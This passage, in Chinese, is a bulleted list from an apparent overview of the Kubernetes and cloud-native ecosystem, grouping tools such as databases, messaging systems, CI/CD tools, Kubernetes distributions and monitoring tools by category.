  * &#x20;数据库：Postgres、MySQL、Redis
  * &#x20;数据流和消息传递：Spark、Kafka、RabbitMQ、Nats
  * &#x20;应用程序定义和镜像构建：Helm、Buildpacks、Tilt、Okteto
  * &#x20;持续集成和持续交付：Argo、Flagger、Spinnaker、Jenkins
* &#x20;平台层
  * &#x20;其它k8s发行版：AgorKube、Canonical、OpenShift
  * &#x20;托管Kubernetes：Azure、Alibaba Cloud
* 监控监测
  * &#x20;监控：Prometheus、Cortex、Thanos、Grafana
